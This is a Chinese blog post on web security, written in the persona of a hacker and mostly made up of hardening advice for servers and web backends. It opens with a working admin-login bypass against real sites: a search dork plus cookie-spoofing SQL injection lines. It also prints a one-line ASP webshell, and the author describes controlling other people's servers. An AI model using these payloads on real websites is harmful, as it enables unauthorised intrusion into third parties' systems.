随着对黑客浅略地了解,慢慢知道了这个鬼东西是一个多么可怕的存在。希望能通过这篇文章,让一些和之前的我一样没有对黑客一词引起重视的人加深一下对这方面的了解和重视!接下来就以第一人称 “我们” 来代表黑客,浅谈Web安全(个人拙见)!
从勒索病毒就可以看出,其实病毒离我们并不远……
引言
为抛砖引玉,我们亲自来做个试验,用简单的方法进入网站后台管理系统,只需三步!
IE浏览器百度搜索
“inurl:szwyadmin/login.asp”
,就进入第一个网站吧!我们会在地址栏键入:
1
2
3javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
javascript:alert(document.cookie="admindj="+escape("1"));然后关闭弹窗和该页面,重新进入该网站。并把地址栏的 login.asp 改为 admin_index.asp,回车一下我们就进入后台管理了!
可以看到,使用cookie欺骗和SQL注入的payload就可以打开后台管理的大门。不注重安全的网站是多么作死的一件事……
关键词解释
一句话木马:网页木马的一种,代码类似于
“<%execute request("value")%>”
,因代码短小(一般只有一句话 )而得名,主要用于拿取webshell。webshell:以asp、php、jsp或者cgi等网页文件形式存在,也可以将其称做为一种网页后门。 可以使用浏览器来访问它,以得到一个命令执行环境,以达到控制网站服务器的目的。
xss:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码将被执行,从而达到恶意攻击用户的目的。
SQL注入: 攻击者构造恶意SQL随请求的URL一起传入服务器,以达到操纵数据库的目的(如上面的’or’=’or’即是一次SQL注入)。
肉鸡: 肉鸡也称傀儡机,是指可以被黑客远程控制的机器。比如用”灰鸽子”等诱导客户点击或用户电脑有漏洞等导致黑客种植木马,以致可以随意操纵并利用它来做任何事情。
正文
接下里,就以我目前了解的知识,从 服务器–>Web后台–>走进黑客 的顺序来谈谈在下对 web安全 的一些看法。
服务器
“Secure by Default” 原则
实际上,“Secure by Default” 原则也可以归纳为白名单、黑名单思想。
如果更多地使用白名单,那么系统就会变得更安全。 —-白帽子讲 Web安全
具体举个例子吧:
比如某天你发现你的服务器的 C:\Users\ 目录下(或者Linux的 /home/ 目录下)多了一个陌生的文件夹。通常说明你的服务器已被我们登录过了。那怎么办?
首先可以通过如Windows的事件查看器查到我们的IP,然后防火墙增加一条入站规则,限制该IP使用3389端口(远程桌面端口,Linux为22端口)。以上便是黑名单思想。
同样我们也可以预见黑名单方式并不能真正解决问题,因为我们完全可以操作肉鸡或者直接使用代理的方式来更换访问IP。所以大家应该更多地去使用白名单策略:配置防火墙只允许特定IP访问。具体配置顺序是先拒绝所有IP,然后允许某些特定IP访问。以下是具体命令:1
2netsh firewall set portopening TCP 3389 远程桌面 ENABLE CUSTOM [允许访问的IP] //Windows
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -s [允许访问的IP] -j ACCEPT //Linux
以上IP格式也支持形如 192.168.0.0/16 的IP+掩码方式的IP段。
一些安装软件的默认值问题
比如大家都知道的默认端口:3306、1433、1521,以及SVN的3690、Redis的6379、Teamviewer的5938等,这些都有可能被我们拿来做扫描端口进行大范围IP段的漏洞扫描。所以可以考虑修改一下如Redis这类重要软件的默认端口,这样可以躲避大多数的常规扫描。下面是护卫神安装后的首页,里面默认参数百出:
安全意识
上图可以看到,一些网站经常会披露一些系统漏洞, 如果这些漏洞被我们利用,制作了相应的木马。而你的电脑还未进行系统升级或打上相应的补丁,那么你有可能会成为我们的肉鸡。所以应经常性地为系统升级,打打补丁。
另外一些杀毒软件你也是应该安装的,现在的杀毒软件能杀掉大部分流行病毒。而作为服务器,安全狗、护卫神这类防御软件也是需要的,它除了拥有更多更细的功能之外,还能找到杀毒软件无法查杀的一句话木马。最后还得提醒一句:尽量不要在你的服务器上进行一些敏感操作(如转账等),因为也许我们正通过远控软件监视着你的屏幕和键盘呢……
访问控制
一方面,需要时请给不同软件分配不同的用户,做到垂直权限管理(root->mysql->……)。如安装MySQL,应新建一个mysql的用户,它只拥有特定文件夹和文件(如/ tmp/ 文件夹)的读写权限,用于数据备份和恢复。否则,一旦你以高权限用户作为mysql的登录用户,我们爆破mysql账户密码后,就可以使用SQL语句的dump或outfile命令写入木马文件到你电脑的lib\plugin或c:\windows\system32\等关键目录,之后使用udf提权等方式就可以获得你电脑的超级管理员权限。
另一方面,不同软件用户应做到水平权限管理。如mysql用户应无法写入文件到apache目录(防止mysql写入网页木马到网站目录,以便拿取webshell)、apache用户无法写入文件到mysql相关目录(防止利用上传漏洞写入udf.dll等文件,从而进行mysql udf提权)。
阿里云服务器
针对阿里云服务器,它上面的一个叫做安全组的功能很是好用,它将是你的第二道防火墙!它的作用类似于电脑防火墙,可以添加允许访问的IP、IP段和端口等,也可以添加阻止访问的IP、端口。
当然安全组策略的配置也应遵守“Secure by Default” 原则。
你应该优先配置安全组策略而不是本机防火墙,因为一旦我们获得了你网站的webshell或者服务器shell,那么我们是可以通过命令来随意操纵你的防火墙的,而安全组却不行!
突然想起了上次的一个肉鸡,他察觉到我的存在之后立马修改了安全组白名单,于是我这儿边cmd能看到他的防火墙被我关掉了,3389也一直开放着,但仍然远程桌面不上。另外,阿里云盾也是一个好帮手,目前阿里云盾提供免费的DDoS防护、安骑士、弱点分析等功能。
特别说明:
(1)如果没有特殊需要,服务器可以考虑关闭 ICMP协议,说白点,就是禁止ping!一方面,我们的许多工具如著名的NMap等,都有支持ping扫描的模块,禁止ping可以防止一些工具的恶意扫描。另一方面,这样做可以防止类如 ICMP Flood的DDoS攻击。
(2)如果不需要使用mysql的dump或outfile函数进行数据备份,那么请考虑使用 secure_file_priv 模式启动mysql。这是mysql的一个新特性,用来限制load、outfile、dump、load_file等函数将文件导出到哪个指定目录(当ure_file_priv的值为null ,表示限制mysql不允许导入|导出)。在mysql5.7.6后,这个参数默认为null。我爆破过许多mysql账户密码,但是大多都是以无法导出文件而告终,这让我很伤……
Web后台
下面我就直接说说对于Web后台的几个小建议:
上传相关建议
应保证上传目录不具有可执行权限
这个我们可以设置上传路径可读可写不可执行。当然我的建议是,通过诸如Nginx服务器,为静态资源(上传的文件)配置静态资源服务器,其实本质就是通过 location节点 对url请求和服务器物理路径进行虚拟映射。可以的话,最好单独设置静态资源服务器的域名,这样可因浏览器同源策略的关系,使得一系列客户端攻击无效。
上传文件类型的校验操作放在服务器端
首先说说为何要进行上传类型校验,我看来原因有二。其一是限制一些无关后缀名的文件上传,导致带宽浪费和服务器性能开销;其二是防止攻击者上传xx.php或xxx.asp等网页木马,从而拿到webshell。那为什么校验要放在服务器端进行,这里我直接举个例子:在网站使用JS进行的上传校验时,我们上传了一张包含一句话木马代码的图片,然后使用 Burpsuite 或 Wireshark 等工具对刚刚的请求进行抓包,拿到十六进制文件,改掉相应数据使得上传文件后缀名变为.php或.asp,最后放行让其请求服务器。这样骗过了前端,上传了一句话网页木马。
敏感隐藏
后台管理入口隐藏(包括你的phpMyAdmin入口的隐藏)
一旦我们找到了你的后台管理入口,就会使用各种技术进行爆破,如Burpsuite后台密码爆破、XSS跨站攻击、Cookie欺骗、中转注入等,这大大增加了网站服务器的危险系数。记得之前看过职来职往的一期节目,里面一个骚年只因为找到了58同城的后台管理入口就语惊四座!所以,隐藏后台管理入口是一件很有必要的事情。另外值得一提的是,把数据库和服务器进行分离将会提高服务器的安全性,因为我们有时爆破数据库后,总是苦于无法得知它的网站URL。当然如果条件有限,也可以使用Nginx等配置虚拟主机将其进行隔离。
敏感文件隐藏
如网站根目录存在robots.txt,可能会泄露网站目录结构;又如织梦默认的xxx.com/data/admin/ver.txt文件会泄露当前织梦系统的版本,而一般我们就可以根据版本去找相应织梦系统的漏洞,如下:
再如phpinfo.php等敏感文件的处理或隐藏。这个文件我得多说一下,它可以帮助我们找到你网站根目录在你服务器上的绝对路径,这对我们来说是一件非常有帮助的事。因为知晓了网站根目录的绝对路径,就可以通过mysql的outfile等命令写入网页木马到你的网站目录下;最后是源码和数据库备份文件的隐藏,这是非常非常重要的!尽量不要将源码文件放在网站目录中(除非设置所在文件夹访问403),否则我们难免会使用爬虫找到你的源码并下载下来,然后通过代码审计等方式很快就能找到你代码中的一些敏感的东西,比如加密规则等……
敏感代码过滤和隐藏
敏感代码过滤,首先要说的就是SQL注入的select、union、or等敏感关键字,应该对此类关键字进行排查。其次便是CRLF注入,应处理好 “\r” 和 “\n”这两个保留字。
敏感代码隐藏,首当其冲的便是支付相关的敏感参数,如商户号、支付私钥等 。其次便是上传类型后缀名、禁用的函数名等敏感数据,这类参数其实放在代码里就行。而织梦将其放在了数据库:
这将导致我们在爆破到数据库后,通过添加允许上传的后缀名(如.php)和删除禁用的可执行函数(如eval)来上传和执行网页木马。
其他
第三方软件漏洞的关注
比如正使用着Struts2,那么我们就有理由去关注一下Struts2的命令执行漏洞;又如正在使用FckEditor、eWebEditor等富文本编辑器,它们给我们带来了丰富的输入,同时也给我们带来了许多的漏洞;再如正使用Apache、Nginx、IIS,就应该了解一下Apache、IIS文件解析问题、Nginx的fastcgi的文件类型解析问题。
加密
加密时不要使用ECB模式;使用HMAC-SHA1代替MD5(甚至SHA1);使用随机的salts(盐)和IV(向量)。
代码
使用预编译(如Java的Preparedstatement)来防止SQL注入、使用view层的 输出编码 来解决XSS攻击……
走进黑客
拿到webshell后能做的事情:一般可进行文件上传下载、执行cmd命令等。
以上便是著名的一句话木马以及它的连接工具—中国菜刀。
以下是php较大网页木马(html+php脚本)进行了编码后的样子:
而访问却是这样的:拿到较高权限成为肉鸡后:
基本上超级管理员能做的,你差不多都能做了,实在做不了的,马上添加一个用户,远程桌面去做……
黑客需要会点啥?
(1)Windows的dos命令需要会点儿吧,操作防火墙、修改注册表、操作计划任务、操作系统服务,当前还有最基本的添加用户和隐藏用户等命令。(2)Linux的shell命令需要会点儿吧,同样的添加用户、删除用户、操作iptables防火墙、vi、tar、chkconifg、chmod、ps……
(3)各数据库的SQL语句需要会点儿吧,udf提权需要的创建函数、导出导入函数等
(4)JS需要会点儿吧,JS不会XSS怎么搞?而且不仅需要JS知识,DOM这些不知道你也不能成吧。
(5)加密算法与解密技术,爆破是一门技术活,熟悉加密算法、拥有好的字典、牛逼的社会工程学知识都能让你在爆破速度上面有质的提升。
(6)各大主流web编程语言:php、asp、java这些得懂点儿吧,网马不就是利用这些语言脚本写出来的嘛。另外比如c++,灰鸽子远控软件和很多木马也是通过c++写的,不了解一下就只能长期买别人的远控软件,用别人的还可能带有后门的木马程序……
(7)一些会用到的计算机网络知识,如tcp(tcp的syn)、udp、icmp、http等,在进行DDoS、网络嗅探、arp欺骗等都用得着。
(8)然后应该就是一些技术性的东西了,比如免杀技术、提权、渗透技术、爬虫、抓包分析等。
(9)不怕蹲监狱的心……
更多文章,请关注:开猿笔记